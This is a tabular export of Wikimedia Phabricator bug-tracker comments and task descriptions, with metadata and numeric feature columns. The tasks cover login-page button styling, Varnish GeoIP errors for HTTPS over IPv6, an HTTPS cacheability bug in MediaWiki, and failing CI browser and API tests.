625954,"Buttons on login page are inconsistent with the policy of ""only one primary button""; make the sign-up button unflagged primary","T85853 would only be required if we wanted it to be progressive non-primary, rather than just non-primary, as it was implemented. (The difference is mostly in text color and hover background color.)",,,1457478117,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-mq3grqzgvohikudxjqcp,task_subcomment,,True,c3,3,True,,,35,True,0.0,0.0,0.0,5.0,0.0,17.0,5.0,0.0,0.0,2.0,7.0,0.0,0.0,2.0,0.0,2.0,0.0,10.0,12.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,5.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,12.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9761904761904763,0.8095238095238095,"T85853 would only be required if we wanted it to be progressive non-primary, rather than just non-primary, as it was implemented. (The difference is mostly in text color and hover background color.)"
625930,"Buttons on login page are inconsistent with the policy of ""only one primary button""; make the sign-up button unflagged primary","Change 275748 merged by jenkins-bot:
Minor update on login form on layout and buttons

[[https://gerrit.wikimedia.org/r/275748]]",,,1457476544,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mq3grqzgvohikudxjqcp,task_subcomment,,True,c3,3,False,,,35,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.7083333333333335,0.875,"Change 275748 merged by jenkins-bot:
Minor update on login form on layout and buttons

[[GERRIT_URL]]"
625201,"Buttons on login page are inconsistent with the policy of ""only one primary button""; make the sign-up button unflagged primary","Change 275748 had a related patch set uploaded (by VolkerE):
Minor update on login form on layout and buttons

[[https://gerrit.wikimedia.org/r/275748]]
",,,1457404390,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mq3grqzgvohikudxjqcp,task_subcomment,,True,c3,3,False,,,35,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7586206896551726,0.8620689655172413,"Change 275748 had a related patch set uploaded (by VolkerE):
Minor update on login form on layout and buttons

[[GERRIT_URL]]
"
621484,"Buttons on login page are inconsistent with the policy of ""only one primary button""; make the sign-up button unflagged primary","Well, in that case, you can't make it non-primary without switching away from mediawiki.ui first ({T85853}).",,,1456936518,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-mq3grqzgvohikudxjqcp,task_subcomment,,True,c3,3,True,,,34,True,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,8.0,12.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.576923076923077,0.9615384615384616,"Well, in that case, you can't make it non-primary without switching away from mediawiki.ui first ({T85853})."
621470,"Buttons on login page are inconsistent with the policy of ""only one primary button""; make the sign-up button unflagged primary","I think the design has changed a lot since this task was filed, and it no longer applies. The page looks like this now:

{F3507957}",,,1456936037,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-mq3grqzgvohikudxjqcp,task_subcomment,,True,c3,3,True,,,34,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,10.0,3.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.4838709677419355,0.967741935483871,"I think the design has changed a lot since this task was filed, and it no longer applies. The page looks like this now:

{F3507957}"
413592,"Buttons on login page are inconsistent with the policy of ""only one primary button""; make the sign-up button unflagged primary","MediaWiki's login page currently uses MediaWiki UI styles, not OOjs UI.",,,1424286122,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-mq3grqzgvohikudxjqcp,task_subcomment,,True,c3,1,True,,,-20,True,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.357142857142857,0.8571428571428571,"MediaWiki's login page currently uses MediaWiki UI styles, not OOjs UI."
89688,Varnish GeoIP is broken for HTTPS+IPv6 traffic,"When accessing URLs over HTTPS from my IPv6 connection, I get the following header:
> Set-Cookie: GeoIP=NL::52.3667:4.9000:v4; Path=/; Domain=.wikinews.org
I'm obviously not in the Netherlands — this is geolocating esams' IPs (the cookie was introduced in https://gerrit.wikimedia.org/r/#/c/119014/ ).

Non-HTTPS hits do not exhibit the same issue, nor are non-IPv6. This explains why this has gone undetected for as long as it has.",Medium,50.0,1424133150,1447345681.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-pelodxr7ln7yltz22fkf,task_description,resolved,True,c3,1,True,False,False,-20,True,0.0,0.0,0.0,1.0,3.0,7.0,1.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,4.0,1.0,11.0,8.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,5.0,4.0,19.0,3.0,1.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,8.0,8.0,0.0,1.0,0.0,5.0,0.0,3.0,0.0,0.0,4.0,0.0,0.0,0.0,3.689189189189189,0.7837837837837838,"When accessing URLs over HTTPS from my IPv6 connection, I get the following header:
QUOTE
I'm obviously not in the Netherlands — this is geolocating esams' IPs (the cookie was introduced in URL ).

Non-HTTPS hits do not exhibit the same issue, nor are non-IPv6. This explains why this has gone undetected for as long as it has."
562138,Varnish GeoIP is broken for HTTPS+IPv6 traffic,"Basic isssue here seems resolved with https://gerrit.wikimedia.org/r/#/c/252442/ .  Obviously, we still don't have good v6 data, but that's the mmdb upgrade in T99226",,,1447345681,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-pelodxr7ln7yltz22fkf,task_subcomment,,True,c3,3,True,,,19,True,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.9642857142857143,"Basic isssue here seems resolved with URL .  Obviously, we still don't have good v6 data, but that's the mmdb upgrade in T99226"
413437,Varnish GeoIP is broken for HTTPS+IPv6 traffic,"X-Analytics=ip=..... , and as discussed before, we should do T89838 to make proxy IP management easier",,,1424275449,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-pelodxr7ln7yltz22fkf,task_subcomment,,True,c3,1,True,,,-20,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,9.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,9.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.9545454545454546,0.9545454545454546,"X-Analytics=ip=..... , and as discussed before, we should do T89838 to make proxy IP management easier"
412862,Varnish GeoIP is broken for HTTPS+IPv6 traffic,"> we could/should probably use everywhere to set our own custom internal header(s) to communicate the real client IP to MediaWiki and/or Analytics as appropriate.

That would be amazingly useful!",,,1424197632,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-pelodxr7ln7yltz22fkf,task_subcomment,,True,c3,1,True,,,-20,True,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,"QUOTE

That would be amazingly useful!"
412859,Varnish GeoIP is broken for HTTPS+IPv6 traffic,"Well, we get different versions of XFF at different layers, and there are probably different considerations for whether we trust XFF's that came from the outside world, too.  But the basics are to consider XFF + the real IP the XFF came in over as a stack of addresses, where the real IP is the virtual final element of the (possibly empty) list from XFF.

We have a pretty decent implementation in VCL for dealing with this from varnish-frontend's perspective for the Zero case that we could/should probably use everywhere to set our own custom internal header(s) to communicate the real client IP to MediaWiki and/or Analytics as appropriate.  There are two views of that: one where we trust outside XFF-setting proxies, and one where we don't.  It's probably ok to trust them for stats and GeoIP, but it might not be for other cases.

https://github.com/wikimedia/operations-puppet/blob/production/templates/varnish/zero.inc.vcl.erb#L13
",,,1424197489,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-pelodxr7ln7yltz22fkf,task_subcomment,,True,c3,1,True,,,-20,True,0.0,0.0,0.0,0.0,1.0,8.5,1.5,0.0,0.0,0.0,2.0,0.5,0.0,0.0,1.0,4.0,0.0,7.0,14.0,0.0,2.0,0.5,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,5.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.0,0.0,0.0,0.5,0.0,0.0,10.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,5.5,2.5,10.5,2.5,4.0,6.5,0.0,0.0,0.0,0.0,3.5,0.5,1.5,0.0,5.5,14.0,7.5,0.0,0.0,0.0,5.5,0.0,2.0,1.0,0.5,1.0,0.0,0.0,0.0,3.9490551583248212,0.7290602655771194,"Well, we get different versions of XFF at different layers, and there are probably different considerations for whether we trust XFF's that came from the outside world, too.  But the basics are to consider XFF + the real IP the XFF came in over as a stack of addresses, where the real IP is the virtual final element of the (possibly empty) list from XFF.

We have a pretty decent implementation in VCL for dealing with this from varnish-frontend's perspective for the Zero case that we could/should probably use everywhere to set our own custom internal header(s) to communicate the real client IP to MediaWiki and/or Analytics as appropriate.  There are two views of that: one where we trust outside XFF-setting proxies, and one where we don't.  It's probably ok to trust them for stats and GeoIP, but it might not be for other cases.

URL
"
412739,Varnish GeoIP is broken for HTTPS+IPv6 traffic,"Hm, so this is an aside, but:
I would love it if we could figure out a way to standardize this algorithm across the organization.  Analytics has at least one place where client ip extraction is done, and right now the algorithm is very naive.  We should have a canonical implementation of this (maybe just in pseudo code on wikitech) that is the official way to get client ip out of XFF.   Thoughts?
",,,1424190097,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-pelodxr7ln7yltz22fkf,task_subcomment,,True,c3,1,True,,,-20,True,0.0,0.0,1.0,1.0,0.0,3.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,13.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,5.0,7.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,5.0,13.0,9.0,1.0,0.0,0.0,5.0,0.0,2.0,3.0,0.0,0.0,0.0,1.0,0.0,3.7386363636363638,0.7613636363636364,"Hm, so this is an aside, but:
I would love it if we could figure out a way to standardize this algorithm across the organization.  Analytics has at least one place where client ip extraction is done, and right now the algorithm is very naive.  We should have a canonical implementation of this (maybe just in pseudo code on wikitech) that is the official way to get client ip out of XFF.   Thoughts?
"
89673,MediaWiki returns Cache-Control: private for all HTTPS requests,"This code:
```
in_array( $request->getFullRequestURL(), $requestTitle->getSquidURLs() )
```
is used to determine whether the current URL is cacheable. But for HTTPS views, `getFullRequestURL()` returns an HTTPS URL while `getSquidURLs()` returns an array of HTTP URLs, so the `in_array()` call will never return true and the request will never be considered cacheable.

This means cache misses from HTTPS users are never used to populate the cache :(",Medium,50.0,1424118653,1424641935.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,PHID-USER-fovtl67ew4l4cc3oeypc,False,PHID-TASK-exp5eiewwdrzilz3u4wd,task_description,resolved,True,c3,1,True,True,True,-20,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.2,0.8,"This code:
``CODE`CODEgetFullRequestURL()CODEgetSquidURLs()CODEin_array()` call will never return true and the request will never be considered cacheable.

This means cache misses from HTTPS users are never used to populate the cache :("
412418,MediaWiki returns Cache-Control: private for all HTTPS requests,"Change 190945 merged by jenkins-bot:
Fix URL comparison used for cacheability decision

[[https://gerrit.wikimedia.org/r/190945]]",,,1424125652,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-exp5eiewwdrzilz3u4wd,task_subcomment,,True,c3,1,False,,,-20,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.181818181818182,0.9090909090909091,"Change 190945 merged by jenkins-bot:
Fix URL comparison used for cacheability decision

[[GERRIT_URL]]"
412414,MediaWiki returns Cache-Control: private for all HTTPS requests,"Change 190945 had a related patch set uploaded (by Catrope):
Fix URL comparison used for cacheability decision

[[https://gerrit.wikimedia.org/r/190945]]

#patch-for-review",,,1424125274,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-exp5eiewwdrzilz3u4wd,task_subcomment,,True,c3,1,False,,,-20,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.9393939393939394,0.8181818181818182,"Change 190945 had a related patch set uploaded (by Catrope):
Fix URL comparison used for cacheability decision

[[GERRIT_URL]]

#patch-for-review"
412398,MediaWiki returns Cache-Control: private for all HTTPS requests,"Change 190937 merged by jenkins-bot:
Fix URL comparison used for cacheability decision

[[https://gerrit.wikimedia.org/r/190937]]",,,1424123338,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-exp5eiewwdrzilz3u4wd,task_subcomment,,True,c3,1,False,,,-20,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.181818181818182,0.9090909090909091,"Change 190937 merged by jenkins-bot:
Fix URL comparison used for cacheability decision

[[GERRIT_URL]]"
412397,MediaWiki returns Cache-Control: private for all HTTPS requests,"Change 190937 had a related patch set uploaded (by Catrope):
Fix URL comparison used for cacheability decision

[[https://gerrit.wikimedia.org/r/190937]]

#patch-for-review",,,1424122955,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-exp5eiewwdrzilz3u4wd,task_subcomment,,True,c3,1,False,,,-20,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.9393939393939394,0.8181818181818182,"Change 190937 had a related patch set uploaded (by Catrope):
Fix URL comparison used for cacheability decision

[[GERRIT_URL]]

#patch-for-review"
412392,MediaWiki returns Cache-Control: private for all HTTPS requests,"Change 190853 merged by jenkins-bot:
Fix URL comparison used for cacheability decision

[[https://gerrit.wikimedia.org/r/190853]]",,,1424122591,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-exp5eiewwdrzilz3u4wd,task_subcomment,,True,c3,1,False,,,-20,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.181818181818182,0.9090909090909091,"Change 190853 merged by jenkins-bot:
Fix URL comparison used for cacheability decision

[[GERRIT_URL]]"
412352,MediaWiki returns Cache-Control: private for all HTTPS requests,"Change 190853 had a related patch set uploaded (by Catrope):
Fix URL comparison used for cacheability decision

[[https://gerrit.wikimedia.org/r/190853]]

#patch-for-review",,,1424118671,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-exp5eiewwdrzilz3u4wd,task_subcomment,,True,c3,1,False,,,-20,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.9393939393939394,0.8181818181818182,"Change 190853 had a related patch set uploaded (by Catrope):
Fix URL comparison used for cacheability decision

[[GERRIT_URL]]

#patch-for-review"
89272,UploadWizard API tests failing on beta Commons due to login problem,"https://integration.wikimedia.org/ci/job/UploadWizard-api-commons.wikimedia.beta.wmflabs.org/buildTimeTrend

The error is
```
error: username and password required. Pass these values with the corresponding flags or set the env variables: MEDIAWIKI_USER and MEDIAWIKI_PASSWORD or MEDIAWIKI_PASSWORD_VARIABLE (points to env var with password value)
```

They also take a lot longer recently than they used to.
",Medium,50.0,1423679828,1446480858.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-fz7hkyvt4jypl76ieyol,False,PHID-TASK-3juv26cmcwe2vtfweic3,task_description,resolved,True,c3,1,True,False,False,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,16.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,2.88,0.8,"URL

The error is
``CODE``

They also take a lot longer recently than they used to.
"
556453,UploadWizard API tests failing on beta Commons due to login problem,"The job is green now, resolving. Please reopen if needed.",,,1446480858,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-3juv26cmcwe2vtfweic3,task_subcomment,,True,c3,3,True,,,17,True,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,15.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.6923076923076925,0.9230769230769231,"The job is green now, resolving. Please reopen if needed."
89244,Browser test for sandbox.translatewiki.net fails because of a SSL host mismatch (cert has 'translatewiki.net'),"The browser tests https://integration.wikimedia.org/ci/job/browsertests-UniversalLanguageSelector-sandbox.translatewiki.net-linux-firefox-sauce/ keeps failing because:

```
mw-api-siteinfo.py http://sandbox.translatewiki.net/w/api.php git_branch
requests.exceptions.SSLError: hostname 'sandbox.translatewiki.net' doesn't match 'translatewiki.net'
```
